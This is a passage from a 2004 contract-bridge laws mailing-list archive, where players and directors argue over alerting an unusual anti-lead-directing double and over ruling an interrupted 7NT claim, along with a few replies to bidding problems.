P 2D(1) P >2S(2) P 2NT P >3H P 4C(3) x(4) >... > >(1) English style, forcing only to 2H >(2) Natural reverse values, FG >(3) Strong 4H bid, not necessarily a club control >(4) Alerted & described as asking for NOT a club lead. >As I understand the ACBL regs, this double would not even be alerted until >the opening lead was faced (but I've only read them once, I may be >wrong). This would make slam bidding a bit of a lottery... you >'right-side' your Kx only to find you've wrong-sided it! Then either the >TD says "you're a good player, you should have protected yourself by >asking about the double, score stands" or the AC give me my contract >back... but I don't like getting my good boards back from the committee, I >want to get them at the table. The ACBL rule is that alertable doubles need to be alerted immediately, so the double above would be alerted in the ACBL (but still not in time for you to devise a defense against it). Bids above 3NT starting with the opener's rebid are post-alertable. which can still cause problems if you are on defense and are considering a lead-directing double on a slam auction. From ereppert@rochester.rr.com Mon Jan 26 17:30:42 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 26 Jan 2004 12:30:42 -0500 Subject: [blml] NOT News Message-ID: <8ABDFDB2-5025-11D8-B463-0030656F6826@rochester.rr.com> Oops. Sorry Nigel, meant this to go to the list: On Monday, Jan 26, 2004, at 11:11 US/Eastern, Nigel Guthrie wrote: > The claimer's statement is equivalent to "I have all the club tricks." If that ("I've got the clubs") was the extent of his statement, you'd have a point. But it wasn't, there was more to it, and he should have been given the opportunity to finish. In fact, he *did* complete it. And I don't think you can use L70D to disregard the complete statement. From blml@blakjak.com Mon Jan 26 18:24:17 2004 From: blml@blakjak.com (David Stevenson) Date: Mon, 26 Jan 2004 18:24:17 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> Message-ID: Hinden, Frances SI-PXS wrote >I came across an exiting new agreement yesterday, playing in a knock- >out match (Crockfords Cup) against a pair of English experts. >DISCLAIMER: My opponents did absolutely nothing wrong & I have no >criticism of any of their actions. > > >The auction proceded as follows: > >me lho partner rho >1H P 2D(1) P >2S(2) P 2NT P >3H P 4C(3) x(4) >... > >(1) English style, forcing only to 2H >(2) Natural reverse values, FG >(3) Strong 4H bid, not necessarily a club control >(4) Alerted & described as asking for NOT a club lead. > >Our agreement over a lead-directing double is that redouble shows first >round control, pass is neutral, sign-off weak. Had we known about this >agreement in advance, we would have agreed to play redouble for blood, >pass as a contract suggestion (4C was making at least 10 tricks on this >hand and with that agreement we would have played there). In other >auctions, say if 4th suit forcing is doubled, we would play redouble as >showing Axx or Kxx - say a suit which could be led _through_. If the >honour strength is in the other hand, we could play redouble as showing >solid stop(s) and 2/3NT as a positional card. But we would want to >have discussed this. > >Maybe I'm just ignorant, but I'd never heard of playing anti-lead- >directional doubles on this sort of auction. Their card said 'non- >lead-directional doubles' but I assumed that applied to the more normal >circumstance where you double a cue bid of a suit your side has bid. > >What's my point? Unusual agreements like this are not conspiciously >shown on the card, are not subject to pre-alerts (in the US), and could >be a big suprise to oppo. Yet I know of no set of alerting/cc >regulations where this will spring to your attention on a quick read >through. The EBU card has a section for "Aspects of System which Opponents should note". This agreement must be shown in that section otherwise you have been misinformed. The EBU L&EC of many years ago did identify the problem to which you refer and that is why that section is there on the CC. >As I understand the ACBL regs, this double would not even be alerted >until the opening lead was faced (but I've only read them once, I may >be wrong). This would make slam bidding a bit of a lottery... you >'right-side' your Kx only to find you've wrong-sided it! Then either >the TD says "you're a good player, you should have protected yourself >by asking about the double, score stands" or the AC give me my contract >back... but I don't like getting my good boards back from the >committee, I want to get them at the table. >Frances Hinden >Strategic Planning ^^^^^^^^^^^^^^^^^^ Exactly! :) -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From johnson@CCRS.NRCan.gc.ca Mon Jan 26 18:55:27 2004 From: johnson@CCRS.NRCan.gc.ca (Ron Johnson) Date: Mon, 26 Jan 2004 13:55:27 -0500 (EST) Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: from "David Stevenson" at Jan 26, 2004 06:24:17 PM Message-ID: <200401261855.i0QItRHU027149@athena.ccrs.nrcan.gc.ca> David Stevenson writes: > > Hinden, Frances SI-PXS wrote > >I came across an exiting new agreement yesterday, playing in a knock- > >out match (Crockfords Cup) against a pair of English experts. > >DISCLAIMER: My opponents did absolutely nothing wrong & I have no > >criticism of any of their actions. > > > > > >The auction proceded as follows: > > > >me lho partner rho > >1H P 2D(1) P > >2S(2) P 2NT P > >3H P 4C(3) x(4) > >... > > > >(1) English style, forcing only to 2H > >(2) Natural reverse values, FG > >(3) Strong 4H bid, not necessarily a club control > >(4) Alerted & described as asking for NOT a club lead. > > > >Our agreement over a lead-directing double is that redouble shows first > >round control, pass is neutral, sign-off weak. Had we known about this > >agreement in advance, we would have agreed to play redouble for blood, > >pass as a contract suggestion (4C was making at least 10 tricks on this > >hand and with that agreement we would have played there). In other > >auctions, say if 4th suit forcing is doubled, we would play redouble as > >showing Axx or Kxx - say a suit which could be led _through_. If the > >honour strength is in the other hand, we could play redouble as showing > >solid stop(s) and 2/3NT as a positional card. But we would want to > >have discussed this. > > > >Maybe I'm just ignorant, but I'd never heard of playing anti-lead- > >directional doubles on this sort of auction. Their card said 'non- > >lead-directional doubles' but I assumed that applied to the more normal > >circumstance where you double a cue bid of a suit your side has bid. > > > >What's my point? Unusual agreements like this are not conspiciously > >shown on the card, are not subject to pre-alerts (in the US), and could > >be a big suprise to oppo. Yet I know of no set of alerting/cc > >regulations where this will spring to your attention on a quick read > >through. > > The EBU card has a section for "Aspects of System which Opponents > should note". This agreement must be shown in that section otherwise > you have been misinformed. The EBU L&EC of many years ago did identify > the problem to which you refer and that is why that section is there on > the CC. That's a good first step, but it doesn't seem adequate to me. How do you fill out the card in a way that attract's Francis' attention? From john@asimere.com Mon Jan 26 20:02:54 2004 From: john@asimere.com (John (MadDog) Probst) Date: Mon, 26 Jan 2004 20:02:54 +0000 Subject: [blml] NOT News In-Reply-To: <6763247D-5003-11D8-A78F-0003936A6522@gordonrainsford.co.uk> References: <5.2.0.9.0.20040126075419.025e8330@pop.starpower.net> <6763247D-5003-11D8-A78F-0003936A6522@gordonrainsford.co.uk> Message-ID: In article <6763247D-5003-11D8-A78F-0003936A6522@gordonrainsford.co.uk>, Gordon Rainsford writes > >On 26 Jan 2004, at 13:00, Eric Landau wrote: > >> I don't see any matter of either legal or bridge judgment here. This >> was purely a ruling on a point of fact. Once the committee decided >> that "the claimant was not allowed to complete the clarification of >> his claim prior to the Director being called" it had to overturn. Had >> it found oppositely, it would have ruled oppositely. What's left to >> be discussed? > >Are you really saying that any claim, however flawed, must be allowed >if its statement of clarification has been interrupted by the >opponents? I would say that if a claim statement has been interrupted, then provided claimer can come up with a successful line by the time he's asked to produce one (Note the TD Error in the original case, so we have until we get to the AC to think of one), he's going to succeed. otherwise it is in my best interests to interrupt *all* claim statements Hence my original "13 tricks, wtp" cheers John > >-- >Gordon Rainsford >London UK > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |icq 10810798 451 Mile End Road | /|__. \:/ |OKb ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From HarrisR@missouri.edu Mon Jan 26 22:30:39 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 26 Jan 2004 16:30:39 -0600 Subject: [blml] Like a diamond in the sky In-Reply-To: References: Message-ID: > > >Richard James Hills: > >South-West Pacific Teams > >Both teams are seeded > >Dlr: West >Vul: All > >The bidding has gone: > >WEST NORTH EAST SOUTH >4H Pass Pass 4S >Pass 5D Pass ? > >You, South, hold: > >AQ854 >AJ >73 >KQ95 > >What call do you make? 5H > >What other calls do you consider making? 6S, 5S(seems a bit feeble) -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From mfrench1@san.rr.com Mon Jan 26 22:38:25 2004 From: mfrench1@san.rr.com (Marvin French) Date: Mon, 26 Jan 2004 14:38:25 -0800 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> Message-ID: <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> From: "Hinden, Frances I came across an exiting new agreement yesterday, playing in a knock-out match (Crockfords Cup) against a pair of English experts. DISCLAIMER: My opponents did absolutely nothing wrong & I have no criticism of any of their actions. The auction proceded as follows: me lho partner rho 1H P 2D(1) P 2S(2) P 2NT P 3H P 4C(3) x(4) ... (1) English style, forcing only to 2H (2) Natural reverse values, FG (3) Strong 4H bid, not necessarily a club control (4) Alerted & described as asking for NOT a club lead. Our agreement over a lead-directing double is that redouble shows first round control, pass is neutral, sign-off weak. Had we known about this agreement in advance, we would have agreed to play redouble for blood, pass as a contract suggestion (4C was making at least 10 tricks on this hand and with that agreement we would have played there). In other auctions, say if 4th suit forcing is doubled, we would play redouble as showing Axx or Kxx - say a suit which could be led _through_. If the honour strength is in the other hand, we could play redouble as showing solid stop(s) and 2/3NT as a positional card. But we would want to have discussed this. Maybe I'm just ignorant, but I'd never heard of playing anti-lead-directional doubles on this sort of auction. Their card said 'non-lead-directional doubles' but I assumed that applied to the more normal circumstance where you double a cue bid of a suit your side has bid. What's my point? Unusual agreements like this are not conspiciously shown on the card, are not subject to pre-alerts (in the US), [MLF} That is debatable, it's pretty unusual and could be a big suprise to oppo. Yet I know of no set of alerting/cc regulations where this will spring to your attention on a quick read through. As I understand the ACBL regs, this double would not even be alerted until the opening lead was faced (but I've only read them once, I may be wrong). [MLF] No, conventional doubles, redoubles, and passes must be Alerted immediately. One version of the Alert Procedure refers to the delayed Alert of "bids," the other says "calls," but I believe the former is correct. Conventional *bids* made by defenders above the level of 3NT must be Alerted when the opening lead is made and before dummy plays, preferably when the lead is face-down on the table. This would make slam bidding a bit of a lottery... you 'right-side' your Kx only to find you've wrong-sided it! Then either the TD says "you're a good player, you should have protected yourself by asking about the double, score stands" or the AC give me my contract back... but I don't like getting my good boards back from the committee, I want to get them at the table. [MLF] You may feel that the Alert, even if immediate, comes too late for you, but that would be rub of the green. In ACBL-land you are not allowed to change system based on defenses taken against your system (Election for L40E). If opponents see (on your convention card, presumably) that you have altered the normal meanings of calls over a double, they can drop their conventional double and switch back to the standard meaning, but you can't change your method upon seeing their convention card. That would lead to the "chicken and egg" problem, with continual switches ad infinitum. You just have to ask for an explanation of auction at the time of the double, not a bad idea after any double these days. But you can't change your system (per partnership agreement) according to the answer. The opponents have devised a convention to deal with an aspect of your system, making it unfair for you to change system because of that. After all, they can't change in turn. Analogy: A pair is not allowed to play very sound overcalls against penalty doublers and very weak overcalls against negative doublers, even if this is shown on the convention card (i.e., the box for "very light style" is checked with the qualification "Vs negative doublers only." Marv Marvin L. French San Diego, California From HarrisR@missouri.edu Mon Jan 26 22:57:57 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Mon, 26 Jan 2004 16:57:57 -0600 Subject: [blml] Divine Intervention In-Reply-To: References: Message-ID: RJH asks: >You are playing with an unknown antipodean expert. Your >sole system discussion with partner has been partner saying, > >"We'll keep the bidding simple, if you don't mind. >Straightforward Acol is my style." > >This is your partnership's first board -> > >Matchpoints, dealer South, vulnerable East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- --- --- 1S >Pass 3S Double ? > >You, South, hold: > >AJ83 >Q4 >AQ7 >KT83 > >What call do you make? 4D >What other calls do you consider making? Pass, 4S -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From cibor@poczta.fm Tue Jan 27 00:19:36 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Tue, 27 Jan 2004 01:19:36 +0100 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> Message-ID: <009901c3e46b$428ee340$a0284cd5@c5s5d3> ----- Original Message ----- From: "Marvin French" > Analogy: A pair is not allowed to play very sound overcalls against penalty > doublers and very weak overcalls against negative doublers, even if thi= s is > shown on the convention card (i.e., the box for "very light style" is checked > with the qualification "Vs negative doublers only." > The analogy is false. In the case of the overcalls the overcall comes *before* the double of it and that is why you are not allowed to play "sound overcalls ve negative doublers" style. But the opponents *are* allowed to play "penalty doubles of light overcalls and negative doubles over sound ones". In the Frances's case the double of the cue-bid comes before the eventual redouble so Frances is permitted to first ask the meaning of the double and then proceed accordingly. But his opponents cannot first ask "Is your redouble over our double for penalties?" and then, depending on the answer, play a anti-lead directing doubles or classical doubles. Konrad Ciborowski Krak=F3w, Poland From blml@blakjak.com Tue Jan 27 01:32:43 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jan 2004 01:32:43 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <200401261855.i0QItRHU027149@athena.ccrs.nrcan.gc.ca> References: <200401261855.i0QItRHU027149@athena.ccrs.nrcan.gc.ca> Message-ID: Ron Johnson wrote >David Stevenson writes: >> >> Hinden, Frances SI-PXS wrote >> >I came across an exiting new agreement yesterday, playing in a knock- >> >out match (Crockfords Cup) against a pair of English experts. >> >DISCLAIMER: My opponents did absolutely nothing wrong & I have no >> >criticism of any of their actions. >> > >> > >> >The auction proceded as follows: >> > >> >me lho partner rho >> >1H P 2D(1) P >> >2S(2) P 2NT P >> >3H P 4C(3) x(4) >> >... >> > >> >(1) English style, forcing only to 2H >> >(2) Natural reverse values, FG >> >(3) Strong 4H bid, not necessarily a club control >> >(4) Alerted & described as asking for NOT a club lead. >> > >> >Our agreement over a lead-directing double is that redouble shows first >> >round control, pass is neutral, sign-off weak. Had we known about this >> >agreement in advance, we would have agreed to play redouble for blood, >> >pass as a contract suggestion (4C was making at least 10 tricks on this >> >hand and with that agreement we would have played there). In other >> >auctions, say if 4th suit forcing is doubled, we would play redouble as >> >showing Axx or Kxx - say a suit which could be led _through_. If the >> >honour strength is in the other hand, we could play redouble as showing >> >solid stop(s) and 2/3NT as a positional card. But we would want to >> >have discussed this. >> > >> >Maybe I'm just ignorant, but I'd never heard of playing anti-lead- >> >directional doubles on this sort of auction. Their card said 'non- >> >lead-directional doubles' but I assumed that applied to the more normal >> >circumstance where you double a cue bid of a suit your side has bid. >> > >> >What's my point? Unusual agreements like this are not conspiciously >> >shown on the card, are not subject to pre-alerts (in the US), and could >> >be a big suprise to oppo. Yet I know of no set of alerting/cc >> >regulations where this will spring to your attention on a quick read >> >through. >> >> The EBU card has a section for "Aspects of System which Opponents >> should note". This agreement must be shown in that section otherwise >> you have been misinformed. The EBU L&EC of many years ago did identify >> the problem to which you refer and that is why that section is there on >> the CC. > >That's a good first step, but it doesn't seem adequate to me. How >do you fill out the card in a way that attract's Francis' attention? Unlike North America, people in England actually do swap CCs. :)) Frances picks up the CC, and looks at the section which says "Aspects of System which Opponents should note". There she finds such things. Or, to put it another way, it as though we have a pre-alert section on the card. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Jan 27 01:37:58 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 27 Jan 2004 01:37:58 +0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts In-Reply-To: <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1606@lonsc-s-031.europe.shell.com> <000c01c3e45d$25ddf320$6401a8c0@san.rr.com> Message-ID: Marvin French wrote >[MLF] You may feel that the Alert, even if immediate, comes too late for you, >but >that would be rub of the green. In ACBL-land you are not allowed to change >system based on defenses taken against your system (Election for L40E). If >opponents see (on your convention card, presumably) that you have altered the >normal meanings of calls over a double, they can drop their conventional >double and switch back to the standard meaning, but you can't change your >method upon seeing their convention card. That would lead to the "chicken and >egg" problem, with continual switches ad infinitum. I am not convinced that the ACBL regs actually mean what you are assuming here. You have a system based on their system, which is normal amongst good players anywhere [not many good players assume a double of a Precision 1C shows shortage in clubs, takeout, or a strong hand]. Of course, the chicken and egg problem has been shown here and elsewhere to be non-existent as a problem, so I am not convinced that is relevant either. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Tue Jan 27 09:19:43 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 27 Jan 2004 10:19:43 +0100 Subject: [blml] NOT News In-Reply-To: <0A45E850-5025-11D8-B463-0030656F6826@rochester.rr.com> References: <0A45E850-5025-11D8-B463-0030656F6826@rochester.rr.com> Message-ID: <40162D2F.7080705@hdw.be> Ed Reppert wrote: >=20 > On Monday, Jan 26, 2004, at 10:51 US/Eastern, Herman De Wael wrote: >=20 >> I would agree with you there, except for the fact that it is totally=20 >> irrational to claim at trick six, referring to a spade suit that one=20 >> knows nothing about as producing 3 or 4 tricks. >=20 >=20 > That spade suit *will* produce three tricks. It might produce four. >=20 > Here's the claim statement declarer said he had intended to make: >=20 >>> "I've got the clubs, so I'll cash the spades, throwing H7 if they=20 >>> break, cash >>> HK, D5, throwing C4, then the two best clubs for the remaining eight=20 >>> tricks." >=20 >=20 > Given the lie of the cards, and the stated line of play, declarer=20 > *certainly* has 4 spades, 4 diamonds, and 2 hearts. So he needs 3 trick= s=20 > from clubs. He says he has "the two best clubs", so either the CQ has=20 > already fallen, he has taken a successful finesse, or=85 The only way I= =20 > can see that there would be a problem here is if, for his fifth trick,=20 > declarer led CJ or CT from his hand, West ducked, and declarer overtook= =20 > in dummy. In that case, I suppose it's just barely possibly that he'll=20 > lead the CT or CJ on trick 12, covered, overtaking in dummy, which now=20 > must lead C7. If that's what happened, I suppose I have to agree with=20 > the TD. If not, then I agree with the committee. >=20 No Ed, this declarer does not have 13 tricks that he can claim. He has=20 them, but he does not know it. So when he claims 13 tricks, something=20 is wrong. Forget for a moment the interruption on the claim statement, and tell=20 me what you do to a man who claims in this position. In a sense, this is one of those crazy ones, like the "strange claim"=20 from Nizhny Novgorod. Although the stated line does not make sense, it=20 is successfull. Should we not "allow" claimer to recover from his=20 hasty claim, and notice that he does not in fact have 13 tricks.=20 Should we not then "allow" him to make a choice between the 3 lines=20 that are available to him and make him chose the less successfull of them= ? > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml >=20 >=20 >=20 --=20 Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Tue Jan 27 09:25:44 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 27 Jan 2004 10:25:44 +0100 Subject: [blml] NOT News In-Reply-To: <000401c3e421$1a16ee70$6900a8c0@WINXP> References: <000401c3e421$1a16ee70$6900a8c0@WINXP> Message-ID: <40162E98.4030505@hdw.be> Indeed Sven, but ... Sven Pran wrote: > > Until we know these first five tricks none of us is in any position to > discuss the ruling made by the AC. > > And once we are told the first five tricks leading up to the claim we are in > a much better position to evaluate that, the claim statement being > interrupted or not. > but we have in the course of this thread started to assume a number of things, and it might be best to continue under those assumptions. We know from the facts as stated, that 5 tricks were played, and claimer does not mention the top diamonds and the heart ace any more. Also it is in conceivable that the club finesse has not yet been taken. So I assume that play went : heart lead, three diamonds (noticing there is now a 13th diamond good), and club covered with the queen. That leaves us in the following position: K Q 9 8 - 4 - - - A - 7 4 7 5 3 J 6 4 J T 8 5 - Q 9 - - - - - - - - 3 9 8 5 - A T 2 K 7 - - - 5 - J - 6 Although we cannot be certain that this is the true lay-out, it may well serve as the basis for the rest of our discussions. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Frances.Hinden@Shell.com Tue Jan 27 09:35:56 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 27 Jan 2004 09:35:56 -0000 Subject: [blml] Alerts, Pre-Alerts, Post-Alerts Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB160A@lonsc-s-031.europe.shell.com> >What's my point? Unusual agreements like this are not conspiciously >shown on the card, are not subject to pre-alerts (in the US), and could >be a big suprise to oppo. Yet I know of no set of alerting/cc >regulations where this will spring to your attention on a quick read >through. [DWS] The EBU card has a section for "Aspects of System which Opponents should note". This agreement must be shown in that section otherwise you have been misinformed. The EBU L&EC of many years ago did identify the problem to which you refer and that is why that section is there on the CC. [FH] They were using WBF convention cards. As I can't see anything in the Crockfords regulations allowing their use, I infer that in fact this=20 was not allowed and therefore this was the problem. This raises a good point: the front of the EBU card is very useful for pointing out unusual agreements. In general the WBF card is harder to understand; this isn't usually a problem because you will often get the cards in advance for a serious event where WBF cards are permitted. I knew the regulation in the Orange book saying you couldn't use WBF cards unless they are specifically permitted was there for a reason! From twm@cix.co.uk Tue Jan 27 12:13:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 27 Jan 2004 12:13 +0000 (GMT Standard Time) Subject: [blml] NOT News In-Reply-To: <4015377D.4000308@hdw.be> Message-ID: Herman wrote: > > The original post stated > > "The Committee is unanimous that the claimant > > was not allowed to complete the > > clarification of his claim prior to the > > Director being called." > > > > Well, that to me is not enough. What would be enough to decide the AC was right/wrong in their unanimity? We can comment on what the ruling should be if they were right/wrong but will never be in a position to be sure about it. > > What more do we need? If we accept that declarer was interrupted > > then we uphold his claim (we can't allow a side to benefit from > > interrupting a valid claim statement). > > No, sorry Tim. > > If we accept that declarer was interrupted then we allow him to > complete his statement, forgetting all usual inference from late claim > statements. Then we judge his claim on its own merits, including that > completed statement. Well yes, but in this instance the "uninterrupted statement" makes 13 tricks (Spades break as stipulated) regardless of the play to the first five (it matters not whether club jack was covered or run - and we know he has played 3 rounds of diamonds since he has only the 5 left). > > If we don't accept this (despite the universal > > acceptance of the committee) then we rule against his claim however > > the play to the first 5 tricks went (we can't allow a player to > > benefit from pretending his claim statement was interrupted). > > > > No we don't do that either. We may well rule that even without a claim > statement the claim is sufficiently clear to be allowed. Well in this instance it isn't, and to my mind it *obviously* isn't. So if we rule on the basis that the claim statement was complete we rule -1 (and again the play to the first 5 tricks is irrelevant). > I would agree with you there, except for the fact that it is totally > irrational to claim at trick six, referring to a spade suit that one > knows nothing about as producing 3 or 4 tricks. It may be irrational but that doesn't matter. I have seen players make claims along the lines of "if spades break I make, if they don't I go one off". Sure a "rational" player would have gone for the squeeze/misdefence chances but we do not require claimers to be rational. You might, of course, consider the irrationality of claiming in this position of why the AC were wrong to rule the claim as being interrupted but you cannot rule that the timing of the claim being irrational makes the stated line unsuccessful (well OK Herman, you, and have, but you have no basis in law for so doing). > Even after granting this player all lee-way concerning his interrupted > claim statement, this claim is faulty. The claim is valid, in that it generates 13 tricks as the cards lie if the stated line is followed. In other words we would have accepted the claim as valid had the same statement been made without interruption. There is no "rationality" test for claim statements - either they lead to success or failure. Rationality becomes an issue only when judging lines not encompassed by the claim statement. > It would be something else if the man were claiming 6NT, stating that > he would make 12 tricks and an overtrick if spades are 3-3. That > action is sensible. But claiming 13 tricks at this stage is lunacy and > can only be explained by him thinking the play was over after the > succesfull club finesse. It is no more sensible than saying "I will make 13 tricks if spades or clubs break, 12 otherwise". The level of the contract does not affect the number of tricks generated by the claim statement. There is, of course, no requirement for a detailed statement to even mention how many tricks will be made - provided the order of play of the cards is given the number of tricks can be worked out. Tim From hermandw@hdw.be Tue Jan 27 12:43:46 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 27 Jan 2004 13:43:46 +0100 Subject: [blml] NOT News In-Reply-To: References: Message-ID: <40165D02.5010807@hdw.be> Sorry Tim, but you're taking my posts out of context. Tim West-Meads wrote: > Herman wrote: > > >>>The original post stated >>>"The Committee is unanimous that the claimant >>>was not allowed to complete the >>>clarification of his claim prior to the >>>Director being called." >>> >> >>Well, that to me is not enough. > > > What would be enough to decide the AC was right/wrong in their unanimity? > We can comment on what the ruling should be if they were right/wrong but > will never be in a position to be sure about it. > I was commenting on their being not enough facts known. Someone (you?) said the AC decided ... That looks to me as not enough - I still don't know what the fifth trick was. And while I have, in general, great regards for the works of others; in practice, we are here to discuss rulings and appeals. So we should be allowed to cast doubt on the decisions of a particular AC. And then again, I was not discussing whether or not the claimer had been interrupted. I do trust the TD and AC to determine the facts of the cases they present. > >>>What more do we need? If we accept that declarer was interrupted >>>then we uphold his claim (we can't allow a side to benefit from >>>interrupting a valid claim statement). >> >>No, sorry Tim. >> >>If we accept that declarer was interrupted then we allow him to >>complete his statement, forgetting all usual inference from late claim >>statements. Then we judge his claim on its own merits, including that >>completed statement. > > > Well yes, but in this instance the "uninterrupted statement" makes 13 > tricks (Spades break as stipulated) regardless of the play to the first > five (it matters not whether club jack was covered or run - and we know he > has played 3 rounds of diamonds since he has only the 5 left). > Yes Tim, but we all know that a claim statement is not to be followed to the letter as soon as it "breaks down". IMO, this claim statement breaks down as soon as the claimer (who obviously claimed far too quickly) realizes he does not have four club tricks and therefor needs four spade tricks. At that time, he'll start thinking and he'll realize that he has three possible lines for his fourth spade trick. Suppose the claim statement, uninterrupted, would say "3 spade tricks, 2 hearts, 4 diamonds and the clubs". Would you award the claim or not? > >>>If we don't accept this (despite the universal >>>acceptance of the committee) then we rule against his claim however >>>the play to the first 5 tricks went (we can't allow a player to >>>benefit from pretending his claim statement was interrupted). >>> >> >>No we don't do that either. We may well rule that even without a claim >>statement the claim is sufficiently clear to be allowed. > > > Well in this instance it isn't, and to my mind it *obviously* isn't. So > if we rule on the basis that the claim statement was complete we rule -1 > (and again the play to the first 5 tricks is irrelevant). > > >>I would agree with you there, except for the fact that it is totally >>irrational to claim at trick six, referring to a spade suit that one >>knows nothing about as producing 3 or 4 tricks. > > > It may be irrational but that doesn't matter. I have seen players make > claims along the lines of "if spades break I make, if they don't I go one > off". Sure a "rational" player would have gone for the squeeze/misdefence > chances but we do not require claimers to be rational. You might, of > course, consider the irrationality of claiming in this position of why the > AC were wrong to rule the claim as being interrupted but you cannot rule > that the timing of the claim being irrational makes the stated line > unsuccessful (well OK Herman, you, and have, but you have no basis in law > for so doing). > Now we are getting to the crux of the matter. I would (of course) award 13 tricks to this declarer if he were in 6NT and he stated "12 tricks and an overtrick if spades break". That would be a logical thing to do. But claiming the same, when playing 7NT, is not a logical thing. So we know there is something else going on. Now it is my conviction that the way to rule claims is to isolate the error that claimer has made, and then to award the number of tricks claimer would make at minimum, leaving his isolated error, but not introducing other ones. In this case, the error that claimer has made is one of haste. he hasn't counted his tricks, believing there to be 13 of them. When playing on, I have no more error to keep him to, so I allow him, before playing on, to count his tricks and realize he needs a fourth spade trick. I also "allow" him to look for that trick in all possible ways. Sadly, he has the nine of spades on the table, so a finesse on the jack is one possible line, which fails : -1. Look up the strange claim for a similar case. > >>Even after granting this player all lee-way concerning his interrupted >>claim statement, this claim is faulty. > > > The claim is valid, in that it generates 13 tricks as the cards lie if the > stated line is followed. In other words we would have accepted the claim > as valid had the same statement been made without interruption. There is > no "rationality" test for claim statements - either they lead to success > or failure. Rationality becomes an issue only when judging lines not > encompassed by the claim statement. > And that is where you and I disagree. > >>It would be something else if the man were claiming 6NT, stating that >>he would make 12 tricks and an overtrick if spades are 3-3. That >>action is sensible. But claiming 13 tricks at this stage is lunacy and >>can only be explained by him thinking the play was over after the >>succesfull club finesse. > > > It is no more sensible than saying "I will make 13 tricks if spades or > clubs break, 12 otherwise". The level of the contract does not affect the > number of tricks generated by the claim statement. There is, of course, > no requirement for a detailed statement to even mention how many tricks > will be made - provided the order of play of the cards is given the number > of tricks can be worked out. > No Tim, you misunderstood. Of course it doesn't matter what the contract is. But the level of the contract determines what kind of claim we can expect. A person in six can claim 12 tricks with a smile, a person in seven will wait two more minutes before sighing "I have found no way to a thirteenth trick". This player was in seven, so if he claims the way he did, he was certain of 13 tricks. That is impossible from his position. > Tim > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From jaapvanderneut@hotmail.com Tue Jan 27 14:52:28 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Tue, 27 Jan 2004 15:52:28 +0100 Subject: [blml] NOT News References: Message-ID: I have read the whole thread. 1. Of course it is ridiculous to discuss a claim at trick 5 without giving the first 5 tricks. But Richard tends to do things like that on purpose. Richard ? 2. If the question is 'what about the TD/AC ruling' then the AC opinion on the interruption is irrelevant. To judge the AC I need the real facts, what happened at the table. For the rest I assume there where not enough tricks so declarer was a trick short for 7NT. 3. I tend not to believe this interruption story. Probably it became clear it was a misclaim and the consequent/subsequent remarks, questions, discusion were labeled as an interruption. Why, no sane player claims in this situation and although insanity is legal you don't get the benefit of the doubt IMHO. If a player would try to sell to me that he was about to make some complicated line of play statement I would take it as lying (if you realise you need 4S or 4C with squeeze options you don't claim, come on). So it is safe to assume he miscounted his tricks (specialy so if he claimed the moment he took his winning finesse, the euphoria easily takes over from rational counting). 4. So probably he wanted to make a statement about the spade suit the moment he realised he got it wrong (very likely as a result of opps objections or reactions). Understandable but this to me is not claim interruption. 5. Unles proven otherwise this is just another misclaim and declarer who claims this in 7NT for 13 tricks is down because he has a 'non non-rational' losing line. 6. To me it is kind of non problem. Never in my bridge life I have seen a case of claim interruption. And how do you do that by the way. 